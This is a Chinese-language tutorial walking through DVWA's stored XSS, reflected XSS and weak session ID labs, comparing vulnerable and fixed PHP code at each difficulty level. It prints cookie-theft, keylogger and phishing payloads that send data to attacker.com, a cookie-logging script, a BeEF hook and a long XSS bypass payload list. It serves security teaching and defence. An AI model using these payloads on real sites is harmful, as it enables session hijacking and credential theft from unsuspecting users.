// ★★★ 新增:使用mysqli_real_escape_string()转义 ★★★
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// ★★★ 新增:使用strip_tags()处理留言内容 ★★★
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// 插入数据库
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

新增防护

  1. strip_tags() - 移除所有HTML标签
  2. addslashes() - 添加反斜杠转义

仍存在的漏洞

关键问题:

虽然使用了strip_tags(),但:

  1. Name字段限制长度 - 通常很短,难以注入
  2. Message字段也使用strip_tags() - 标签被移除
  3. 但输出时仍未编码 - 可能存在绕过方式

绕过方法

Medium难度的限制:

DVWA Medium难度的存储型XSS实际上很难绕过,因为:

  • Name字段长度限制
  • Message字段使用strip_tags()
  • 几乎所有HTML标签都被移除

理论绕过(在某些场景下):

如果输出上下文特殊,可能利用:

1
2
3
4
5
6
7
8
<!-- 如果数据被输出到JavaScript中 -->
<script>var name = '<?php echo $name; ?>';</script>
<!-- 即使没有HTML标签,仍可注入 -->
<!-- Payload: '; alert('XSS'); // -->

<!-- 如果数据被输出到HTML属性中 -->
<input value="<?php echo $name; ?>">
<!-- Payload: " onload=alert('XSS') // -->

实际情况:

Medium难度的DVWA存储型XSS使用了strip_tags(),基本可以防止大部分攻击。但这不代表strip_tags()是完美的防御,在某些复杂场景下仍可能被绕过。


High 难度

攻击目标

更严格的过滤,但仍有绕过可能。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {

// 获取用户输入
$name = trim( $_POST[ 'txtName' ] );
$message = trim( $_POST[ 'mtxMessage' ] );

// ★★★ Name字段:使用strip_tags()和addslashes() ★★★
$name = strip_tags( addslashes( $name ) );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// ★★★ Message字段:使用strip_tags()和正则过滤 ★★★
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// 插入数据库
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

新增防护

High难度与Medium类似,主要防护:

  1. strip_tags() - 移除HTML标签
  2. 严格的输入验证

为什么难以绕过?

由于使用了strip_tags(),所有HTML标签都被移除,很难进行传统的XSS攻击。


Impossible 难度

攻击目标

使用htmlspecialchars()和PDO,真正安全。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {

// ★★★ 改进1:验证Anti-CSRF token ★★★
// checkToken() - 验证CSRF token
// 防止跨站请求伪造攻击
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 获取用户输入
$name = trim( $_POST[ 'txtName' ] );
$message = trim( $_POST[ 'mtxMessage' ] );

// ★★★ 核心防护1:htmlspecialchars()编码 ★★★
// htmlspecialchars() - 将特殊字符转换为HTML实体
// ENT_QUOTES - 转换单引号和双引号
// 'UTF-8' - 字符编码
//
// 转换:
// < → &lt;
// > → &gt;
// & → &amp;
// " → &quot;
// ' → &#039;
$name = htmlspecialchars( $name );
$message = htmlspecialchars( $message );

// ★★★ 核心防护2:PDO预编译语句 ★★★
// $db - PDO数据库连接对象
// prepare() - 准备SQL语句
// :name, :message - 命名参数占位符
//
// 作用:SQL结构和数据完全分离,防止SQL注入
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );

// ★★★ 绑定参数 ★★★
// bindParam() - 将变量绑定到参数
// PDO::PARAM_STR - 参数类型为字符串
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->bindParam( ':message', $message, PDO::PARAM_STR );

// ★★★ 执行插入 ★★★
// execute() - 执行预编译语句
$data->execute();
}

// ★★★ 生成新的CSRF token ★★★
generateSessionToken();

?>

显示留言(同样使用htmlspecialchars):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

// 从数据库读取留言
$data = $db->prepare( 'SELECT comment, name FROM guestbook' );
$data->execute();

// 遍历显示
while( $row = $data->fetch() ) {
// ★★★ 关键:输出时也进行HTML编码 ★★★
// 虽然存储时已编码,但最佳实践是输出时也编码
// 这样即使数据库中存在恶意数据,也会被安全显示
echo "<div class='comment'>";
echo "<div class='name'>" . htmlspecialchars( $row[ 'name' ] ) . "</div>";
echo "<div class='message'>" . htmlspecialchars( $row[ 'comment' ] ) . "</div>";
echo "</div>";
}

?>

完善的防护机制

多层防御:

  1. CSRF Token - 防止跨站请求伪造
  2. htmlspecialchars() - 输入时编码
  3. PDO预编译 - 防止SQL注入
  4. 输出时再次编码 - 双重保险

工作流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
输入:<script>alert('XSS')</script>

htmlspecialchars()编码:
&lt;script&gt;alert('XSS')&lt;/script&gt;

存入数据库:
&lt;script&gt;alert('XSS')&lt;/script&gt;

从数据库读取:
&lt;script&gt;alert('XSS')&lt;/script&gt;

再次htmlspecialchars():
&lt;script&gt;alert('XSS')&lt;/script&gt;

浏览器显示(纯文本):
<script>alert('XSS')</script>

不会执行脚本!

为什么无法攻破?

所有攻击都被转义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
攻击1:<script>alert('XSS')</script>
存储:&lt;script&gt;alert('XSS')&lt;/script&gt;
显示:<script>alert('XSS')</script>(文本)
结果:失败

攻击2:<img src=x onerror=alert('XSS')>
存储:&lt;img src=x onerror=alert('XSS')&gt;
显示:<img src=x onerror=alert('XSS')>(文本)
结果:失败

攻击3:"><script>alert('XSS')</script>
存储:&quot;&gt;&lt;script&gt;alert('XSS')&lt;/script&gt;
显示:"&gt;<script>alert('XSS')</script>(文本)
结果:失败

防御建议

代码层面

1. 输入输出双重编码

1
2
3
4
5
6
7
8
9
10
11
12
// 输入时编码
$input = htmlspecialchars($_POST['input'], ENT_QUOTES, 'UTF-8');

// 存入数据库
$stmt = $pdo->prepare("INSERT INTO comments (content) VALUES (:content)");
$stmt->execute(['content' => $input]);

// 输出时再次编码(双重保险)
$stmt = $pdo->query("SELECT content FROM comments");
while ($row = $stmt->fetch()) {
echo htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8');
}

2. 使用专门的XSS过滤库

1
2
3
4
5
// HTML Purifier(推荐)
require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($dirty_html);

3. 内容安全策略(CSP)

1
2
// 设置严格的CSP
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");
1
2
3
4
5
6
// 防止XSS窃取Cookie
setcookie('session', $value, [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]);

数据库层面

  1. 存储编码后的数据 - 存入数据库前先编码
  2. 输出时再次编码 - 双重保险
  3. 定期审计 - 检查数据库中是否有恶意数据

监控层面

  1. WAF规则 - 检测XSS payload
  2. 日志监控 - 记录可疑输入
  3. 定期扫描 - 使用工具扫描XSS漏洞

总结对比

特性 Low Medium High Impossible
输入过滤 strip_tags strip_tags htmlspecialchars
输出编码 ✅ htmlspecialchars
SQL防护 mysql_escape mysqli_escape mysqli_escape PDO预编译
CSRF防护 ✅ Token
持久化 ✅(但安全)
攻击难度 极易 较难 不可能
影响范围 所有用户 所有用户 所有用户 无影响

实战建议

攻击演示:

  1. Low难度 - 直接注入<script>alert(1)</script>
  2. Medium难度 - 尝试各种绕过(较难)
  3. High难度 - 基本无法绕过strip_tags()
  4. Impossible难度 - 完全安全

实战技巧:

  • 存储型XSS影响所有用户,危害更大
  • 优先测试管理员会访问的页面
  • 可以结合CSRF进行自动化蠕虫攻击
  • 使用BeEF可以完全控制受害者浏览器

防御重点:

  • 输入输出都要编码
  • 使用htmlspecialchars()而不是strip_tags()
  • 设置HttpOnly Cookie
  • 实施CSP策略

道德准则:

  • 只在授权环境测试
  • 不传播XSS蠕虫到真实网站
  • 学习目的是保护用户安全

目录


漏洞简介

什么是反射型XSS(Reflected Cross-Site Scripting)?

反射型XSS是一种客户端代码注入攻击,攻击者将恶意脚本注入到URL参数或表单中,服务器将这些恶意内容”反射”回页面并在浏览器中执行。

攻击流程:

  1. 攻击者构造包含恶意脚本的URL
  2. 受害者点击恶意链接
  3. 服务器将恶意脚本反射到响应页面
  4. 浏览器执行恶意脚本

危害:

  • 窃取Cookie和Session
  • 钓鱼攻击
  • 键盘记录
  • 篡改页面内容
  • 重定向到恶意网站
  • 传播蠕虫

与存储型XSS的区别:

  • 反射型:恶意代码在URL中,不存储在服务器
  • 存储型:恶意代码存储在数据库,持久化攻击

Low 难度

攻击目标

完全未过滤的输入输出,直接执行用户脚本。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

// ★★★ 声明HTTP响应头:字符集为UTF-8 ★★★
// header() - 发送原始HTTP头到客户端
// Content-Type - 指定内容类型
// text/html - HTML文档
// charset=utf-8 - 字符编码为UTF-8
header ("Content-Type: text/html;charset=utf-8");

// 检查是否提交了表单
// isset() - 检查变量是否存在且非NULL
// $_GET['name'] - 从URL参数获取name的值
if( isset( $_GET[ 'name' ] ) ) {

// ★★★ 危险操作:直接输出用户输入,无任何过滤! ★★★
// $_GET[ 'name' ] - 获取用户输入的name参数
// 例如:?name=<script>alert(1)</script>
// 问题:没有任何HTML编码、过滤或验证
// 用户输入的任何内容都会直接插入HTML中执行
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

漏洞分析

核心问题:

  1. 直接输出用户输入 - 没有任何过滤
  2. 无HTML编码 - 特殊字符<>不转义
  3. 无内容安全策略 - 允许执行任意脚本
  4. 无输入验证 - 接受任何字符

攻击原理:

1
2
3
4
5
6
7
8
<!-- 正常输入 -->
?name=Alice
输出:<pre>Hello Alice</pre>

<!-- XSS攻击 -->
?name=<script>alert('XSS')</script>
输出:<pre>Hello <script>alert('XSS')</script></pre>
结果:浏览器执行脚本,弹出XSS对话框

攻击步骤

步骤1:基础测试

测试1:简单弹窗

1
2
3
4
5
6
7
8
<!-- 输入 -->
<script>alert('XSS')</script>

<!-- 完整URL -->
http://dvwa.local/dvwa/vulnerabilities/xss_r/?name=<script>alert('XSS')</script>

<!-- 结果 -->
页面弹出对话框显示"XSS"

测试2:大小写混淆

1
2
<!-- 如果有简单过滤,尝试大小写 -->
<ScRiPt>alert('XSS')</ScRiPt>

测试3:其他标签

1
2
3
4
5
6
7
8
<!-- img标签 -->
<img src=x onerror=alert('XSS')>

<!-- body标签 -->
<body onload=alert('XSS')>

<!-- svg标签 -->
<svg onload=alert('XSS')>

步骤2:窃取Cookie

Payload:

1
2
3
4
5
6
7
8
9
10
<script>
// 将Cookie发送到攻击者服务器
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

<!-- 简化版 -->
<script>location='http://attacker.com/?c='+document.cookie</script>

<!-- 使用img标签(更隐蔽) -->
<img src=x onerror="this.src='http://attacker.com/?c='+document.cookie">

攻击者服务器(steal.php):

1
2
3
4
5
6
7
<?php
// 接收并记录Cookie
$cookie = $_GET['cookie'];
$log = fopen('cookies.txt', 'a');
fwrite($log, date('Y-m-d H:i:s') . ' - ' . $cookie . "\n");
fclose($log);
?>

步骤3:键盘记录

1
2
3
4
5
6
<script>
// 记录用户输入
document.onkeypress = function(e) {
fetch('http://attacker.com/log.php?key=' + e.key);
}
</script>

步骤4:钓鱼攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
// 创建假登录表单
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;">
<h1>Session Expired</h1>
<form action="http://attacker.com/phish.php" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<button>Login</button>
</form>
</div>
`;
</script>

步骤5:BeEF挂钩

1
2
3
4
<!-- BeEF(Browser Exploitation Framework)-->
<script src="http://attacker.com:3000/hook.js"></script>

<!-- 执行后,受害者浏览器会被BeEF控制 -->

步骤6:URL编码绕过

如果链接被过滤,使用URL编码:

1
2
3
4
5
6
原始:<script>alert('XSS')</script>

URL编码:%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

完整URL:
http://dvwa.local/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

Medium 难度

攻击目标

添加了简单的过滤,但可以绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

header ("Content-Type: text/html;charset=utf-8");

if( isset( $_GET[ 'name' ] ) ) {

// ★★★ 新增:使用str_replace()过滤<script>标签 ★★★
// str_replace() - 字符串替换函数
// 参数1:要查找的字符串(<script>)
// 参数2:替换成的字符串(空字符串,即删除)
// 参数3:被搜索的字符串(用户输入)
// 返回值:替换后的字符串
//
// 问题:只过滤小写的<script>,不过滤其他标签
// 只替换一次,可以双写绕过
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// 输出(仍然没有HTML编码)
$html .= "<pre>Hello {$name}</pre>";
}

?>

新增防护

  1. str_replace()过滤 - 删除<script>标签

仍存在的漏洞

问题分析:

  1. 只过滤<script> - 不过滤其他标签(img, svg, body等)
  2. 大小写敏感 - 只过滤小写
  3. 只替换一次 - 可以双写绕过
  4. 无全局过滤 - 不过滤事件处理器

绕过方法

方法1:大小写混淆

1
2
3
4
5
6
7
<!-- 原始被过滤 -->
<script>alert('XSS')</script>

<!-- 大小写混淆 -->
<Script>alert('XSS')</Script>
<SCRIPT>alert('XSS')</SCRIPT>
<ScRiPt>alert('XSS')</ScRiPt>

方法2:使用其他标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- img标签 -->
<img src=x onerror=alert('XSS')>

<!-- svg标签 -->
<svg onload=alert('XSS')>

<!-- body标签 -->
<body onload=alert('XSS')>

<!-- iframe标签 -->
<iframe src="javascript:alert('XSS')">

<!-- input标签 -->
<input onfocus=alert('XSS') autofocus>

<!-- details标签 -->
<details open ontoggle=alert('XSS')>

方法3:双写绕过

1
2
3
4
5
6
7
<!-- 原理:str_replace只替换一次 -->
<scr<script>ipt>alert('XSS')</scr</script>ipt>

<!-- 处理过程 -->
1. 原始:<scr<script>ipt>alert('XSS')</script>
2. 替换<script>为空:<script>alert('XSS')</script>
3. 结果:绕过成功!

方法4:事件处理器

1
2
3
4
5
6
7
8
<!-- onclick -->
<div onclick=alert('XSS')>Click me</div>

<!-- onmouseover -->
<div onmouseover=alert('XSS')>Hover me</div>

<!-- onerror -->
<img src=x onerror=alert('XSS')>

High 难度

攻击目标

使用正则表达式过滤,但仍可绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

header ("Content-Type: text/html;charset=utf-8");

if( isset( $_GET[ 'name' ] ) ) {

// ★★★ 新增:使用preg_replace()正则表达式过滤 ★★★
// preg_replace() - 执行正则表达式的搜索和替换
// 参数1:正则表达式模式
// 参数2:替换成的字符串
// 参数3:被搜索的字符串
// 返回值:替换后的字符串
//
// 正则模式:'/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'
// < - 匹配小于号
// (.*) - 匹配任意字符(贪婪模式)
// s, c, r, i, p, t - 分别匹配这些字符
// /i - 不区分大小写标志
//
// 目的:过滤包含<...s...c...r...i...p...t的内容
// 例如:<script>, <scri pt>, <s c r i p t>
//
// 问题:只过滤<script>相关,不过滤其他标签!
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// 输出
$html .= "<pre>Hello {$name}</pre>";
}

?>

新增防护

  1. 正则表达式过滤 - 过滤各种形式的<script>
  2. 不区分大小写 - /i标志
  3. 匹配变形 - 过滤<s...c...r...i...p...t

仍存在的漏洞

核心问题:

仍然只过滤<script>标签,其他HTML标签和事件处理器完全可用!

绕过方法

方法1:使用img标签

1
2
3
4
<img src=x onerror=alert('XSS')>

<!-- 无论大小写都可以 -->
<IMG SRC=x ONERROR=alert('XSS')>

方法2:使用svg标签

1
2
3
4
<svg onload=alert('XSS')>

<!-- 或 -->
<svg/onload=alert('XSS')>

方法3:使用body标签

1
<body onload=alert('XSS')>

方法4:使用iframe

1
2
3
4
<iframe src="javascript:alert('XSS')">

<!-- 或data URI -->
<iframe src="data:text/html,<script>alert('XSS')</script>">

方法5:使用input

1
<input onfocus=alert('XSS') autofocus>

方法6:HTML5新标签

1
2
3
4
5
6
7
8
9
10
11
<!-- details -->
<details open ontoggle=alert('XSS')>

<!-- marquee -->
<marquee onstart=alert('XSS')>

<!-- video -->
<video src=x onerror=alert('XSS')>

<!-- audio -->
<audio src=x onerror=alert('XSS')>

Impossible 难度

攻击目标

使用htmlspecialchars()正确编码,无法攻破。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

header ("Content-Type: text/html;charset=utf-8");

if( isset( $_GET[ 'name' ] ) ) {

// ★★★ 核心防护:htmlspecialchars() ★★★
// htmlspecialchars() - 将特殊字符转换为HTML实体
// 参数1:要转换的字符串
// 参数2:转换标志(可选)
// 返回值:转换后的字符串
//
// 转换规则:
// & (和号) → &amp;
// " (双引号) → &quot;(当ENT_NOQUOTES未设置时)
// ' (单引号) → &#039;(当ENT_QUOTES设置时)
// < (小于号) → &lt;
// > (大于号) → &gt;
//
// 作用:将HTML特殊字符转换为实体,使其作为文本显示而不是代码执行
$name = htmlspecialchars( $_GET[ 'name' ] );

// 输出编码后的内容
$html .= "<pre>Hello {$name}</pre>";
}

?>

完善的防护机制

htmlspecialchars()工作原理:

1
2
3
4
5
6
7
8
9
10
11
<!-- 输入 -->
<script>alert('XSS')</script>

<!-- 处理后 -->
&lt;script&gt;alert('XSS')&lt;/script&gt;

<!-- 浏览器显示 -->
<script>alert('XSS')</script>(作为文本显示)

<!-- 不会执行 -->
因为<和>被转换为实体,浏览器不会将其解析为HTML标签

详细转换示例:

1
2
3
4
5
6
7
8
9
10
11
输入:<img src=x onerror=alert('XSS')>
输出:&lt;img src=x onerror=alert('XSS')&gt;
显示:<img src=x onerror=alert('XSS')>(纯文本)

输入:<svg onload=alert('XSS')>
输出:&lt;svg onload=alert('XSS')&gt;
显示:<svg onload=alert('XSS')>(纯文本)

输入:"><script>alert('XSS')</script>
输出:&quot;&gt;&lt;script&gt;alert('XSS')&lt;/script&gt;
显示:"&gt;<script>alert('XSS')</script>(纯文本)

为什么无法攻破?

所有攻击都被转义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
尝试1:<script>alert('XSS')</script>
结果:&lt;script&gt;alert('XSS')&lt;/script&gt;
状态:失败(作为文本显示)

尝试2:<img src=x onerror=alert('XSS')>
结果:&lt;img src=x onerror=alert('XSS')&gt;
状态:失败(作为文本显示)

尝试3:<svg onload=alert('XSS')>
结果:&lt;svg onload=alert('XSS')&gt;
状态:失败(作为文本显示)

尝试4:"><script>alert('XSS')</script>
结果:&quot;&gt;&lt;script&gt;alert('XSS')&lt;/script&gt;
状态:失败(引号也被转义)

关键防御点:

  1. 所有HTML标签被转义 - <>变为&lt;&gt;
  2. 引号被转义 - 无法闭合属性
  3. 转换为HTML实体 - 浏览器将其视为文本
  4. 适用于所有上下文 - 标签、属性、内容都安全

防御建议

代码层面

1. 输出编码(最重要)

1
2
3
4
5
6
7
// ★★★ 推荐:使用htmlspecialchars() ★★★
$safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// ENT_QUOTES - 转换单引号和双引号
// UTF-8 - 指定字符编码

echo "<div>$safe_output</div>";

2. 不同上下文使用不同编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// HTML内容
htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

// HTML属性
htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

// JavaScript字符串
// 使用json_encode()
echo "<script>var name = " . json_encode($input) . ";</script>";

// URL参数
urlencode($input);

// CSS
// 避免用户输入直接进入CSS,或使用CSS编码库

3. 内容安全策略(CSP)

1
2
3
4
5
// 设置CSP头
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");

// 禁止内联脚本
// 只允许从同源加载脚本

CSP配置示例:

1
2
3
4
5
6
7
Content-Security-Policy:
default-src 'self'; # 默认只允许同源
script-src 'self' 'nonce-{random}'; # 脚本必须有nonce
style-src 'self' 'unsafe-inline'; # 允许内联样式
img-src *; # 允许任何来源的图片
object-src 'none'; # 禁止<object>
base-uri 'self'; # 限制<base>

4. 输入验证(辅助)

1
2
3
4
5
6
7
8
9
10
// 白名单验证
$allowed = '/^[a-zA-Z0-9 ]+$/';
if (!preg_match($allowed, $input)) {
die("Invalid input");
}

// 长度限制
if (strlen($input) > 100) {
die("Input too long");
}
1
2
3
4
5
6
// 防止JavaScript访问Cookie
setcookie('session', $value, [
'httponly' => true, // 防止XSS窃取Cookie
'secure' => true, // 只通过HTTPS传输
'samesite' => 'Strict' // 防止CSRF
]);

框架层面

Laravel示例

1
2
3
4
5
// Blade模板自动转义
{{ $user_input }} // 自动使用htmlspecialchars()

// 不转义(危险!)
{!! $html_content !!} // 仅用于可信内容

React示例

1
2
3
4
5
// React自动转义
<div>{userInput}</div> // 安全

// 危险方式(避免使用)
<div dangerouslySetInnerHTML={{__html: userInput}} />

架构层面

  1. 使用模板引擎

    • Twig(PHP)
    • Jinja2(Python)
    • Handlebars(JavaScript)
    • 自动转义输出
  2. WAF(Web应用防火墙)

    • ModSecurity
    • Cloudflare WAF
    • AWS WAF
  3. 定期审计

    • 代码审计
    • 安全扫描工具
    • 渗透测试

总结对比

特性 Low Medium High Impossible
输出编码 ✅ htmlspecialchars
过滤方式 str_replace preg_replace N/A
过滤目标 <script> <script>变形 N/A
大小写 N/A 敏感 不敏感 N/A
可绕过性 完全开放 容易 容易 不可绕过
典型Payload <script> <img> <img> 无效
攻击难度 极易 简单 简单 不可能

常用XSS Payload集合

基础Payload

1
2
3
4
5
6
7
8
9
10
11
<!-- 标准脚本 -->
<script>alert('XSS')</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>

<!-- 大小写混淆 -->
<ScRiPt>alert('XSS')</ScRiPt>
<SCRIPT>alert('XSS')</SCRIPT>

<!-- 双写绕过 -->
<scr<script>ipt>alert('XSS')</script>

事件处理器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- onerror -->
<img src=x onerror=alert('XSS')>
<img src=x onerror="alert('XSS')">
<img src=x onerror="alert(String.fromCharCode(88,83,83))">

<!-- onload -->
<body onload=alert('XSS')>
<svg onload=alert('XSS')>
<iframe onload=alert('XSS')>

<!-- onclick -->
<div onclick=alert('XSS')>Click</div>
<button onclick=alert('XSS')>Click</button>

<!-- onmouseover -->
<div onmouseover=alert('XSS')>Hover</div>
<img src=x onmouseover=alert('XSS')>

HTML5标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!-- svg -->
<svg/onload=alert('XSS')>
<svg><script>alert('XSS')</script></svg>

<!-- details -->
<details open ontoggle=alert('XSS')>

<!-- video -->
<video src=x onerror=alert('XSS')>

<!-- audio -->
<audio src=x onerror=alert('XSS')>

<!-- marquee -->
<marquee onstart=alert('XSS')>

JavaScript伪协议

1
2
3
4
<a href="javascript:alert('XSS')">Click</a>
<iframe src="javascript:alert('XSS')">
<form action="javascript:alert('XSS')">
<button formaction="javascript:alert('XSS')">

编码绕过

1
2
3
4
5
6
7
8
9
10
11
<!-- HTML实体编码 -->
<img src=x onerror="alert('&#88;&#83;&#83;')">

<!-- Unicode编码 -->
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>

<!-- 十六进制编码 -->
<img src=x onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;('XSS')">

<!-- Base64 -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">

Cookie窃取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!-- 简单窃取 -->
<script>document.location='http://attacker.com/?c='+document.cookie</script>

<!-- 使用fetch -->
<script>fetch('http://attacker.com/?c='+document.cookie)</script>

<!-- 使用img -->
<img src=x onerror="this.src='http://attacker.com/?c='+document.cookie">

<!-- 使用XMLHttpRequest -->
<script>
var xhr=new XMLHttpRequest();
xhr.open('GET','http://attacker.com/?c='+document.cookie);
xhr.send();
</script>

实战建议

学习路径:

  1. Low难度 - 理解XSS基本原理
  2. Medium难度 - 学习简单绕过技巧
  3. High难度 - 掌握正则绕过方法
  4. Impossible难度 - 理解正确的防御

测试流程:

  1. 输入<script>alert(1)</script>测试
  2. 如果被过滤,尝试大小写混淆
  3. 如果仍被过滤,使用其他标签
  4. 使用Burp Suite查看过滤规则
  5. 针对性构造Payload

工具推荐:

  • Burp Suite - 拦截和修改请求
  • XSSer - 自动化XSS扫描
  • BeEF - 浏览器利用框架
  • XSS Hunter - XSS盲打平台

道德准则:

  • 只在授权环境测试
  • 不窃取真实用户数据
  • 学习目的是防御,不是攻击

目录


漏洞简介

什么是Weak Session IDs(弱会话ID)?

Session ID是服务器用来识别用户会话的唯一标识符。弱会话ID是指可预测、容易猜测或破解的会话标识符。

Session的作用:

  • 在HTTP无状态协议中维持用户状态
  • 识别已登录用户
  • 存储用户会话数据

危害:

  • 会话劫持(Session Hijacking)
  • 会话固定(Session Fixation)
  • 未授权访问
  • 账户接管
  • 身份伪装

弱Session ID的特征:

  • 可预测(如连续递增)
  • 熵值太低(如只有数字)
  • 基于时间戳
  • 短长度
  • 不随机

Low 难度

攻击目标

使用简单的计数器作为Session ID,完全可预测。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

// ★★★ 危险操作:使用简单计数器作为Session ID ★★★
// 检查cookie中是否有dvwaSession
if( !isset( $_COOKIE[ 'dvwaSession' ] ) ) {

// ★★★ 初始化:从0开始计数 ★★★
// 第一个用户:dvwaSession=0
// 第二个用户:dvwaSession=1
// 第三个用户:dvwaSession=2
// ...
// 完全可预测!
$last_session_id = 0;

// ★★★ 尝试读取上一个Session ID ★★★
// 从文件中读取最后使用的Session ID
// __DIR__ - 当前文件所在目录
// DIRECTORY_SEPARATOR - 目录分隔符
// sessionid.txt - 存储Session ID的文件
$sessionid_path = __DIR__ . DIRECTORY_SEPARATOR . 'sessionid.txt';

// file_exists() - 检查文件是否存在
if( file_exists( $sessionid_path ) ) {

// ★★★ 读取上一个Session ID ★★★
// file_get_contents() - 读取文件内容
// intval() - 将字符串转换为整数
$last_session_id = intval( file_get_contents( $sessionid_path ) );
}

// ★★★ 生成新的Session ID:简单递增 ★★★
// 新Session ID = 上一个ID + 1
// 问题:完全可预测!
$session_id = ++$last_session_id;

// ★★★ 保存新的Session ID到文件 ★★★
// file_put_contents() - 将内容写入文件
file_put_contents( $sessionid_path, $session_id );

// ★★★ 设置Cookie ★★★
// setcookie() - 设置Cookie
// 参数1:Cookie名称
// 参数2:Cookie值
// 参数3:过期时间(0表示会话结束时删除)
// 参数4:Cookie路径
//
// 问题:
// 1. Session ID完全可预测
// 2. 没有HttpOnly标志(可被JavaScript读取)
// 3. 没有Secure标志(可通过HTTP传输)
setcookie( "dvwaSession", $session_id, 0, "/" );
}

// 显示当前Session ID
$cookie_value = $_COOKIE[ 'dvwaSession' ];

?>

漏洞分析

Session ID生成方式:

1
2
3
4
5
6
用户1:dvwaSession = 0
用户2:dvwaSession = 1
用户3:dvwaSession = 2
用户4:dvwaSession = 3
...
用户N:dvwaSession = N-1

核心问题:

  1. 完全可预测 - 简单递增
  2. 低熵值 - 只是数字
  3. 易于暴力破解 - 从0开始尝试
  4. 无安全标志 - 无HttpOnly、Secure
  5. 存储在文件 - 不安全

攻击步骤

步骤1:观察Session ID模式

测试:

  1. 清除Cookie
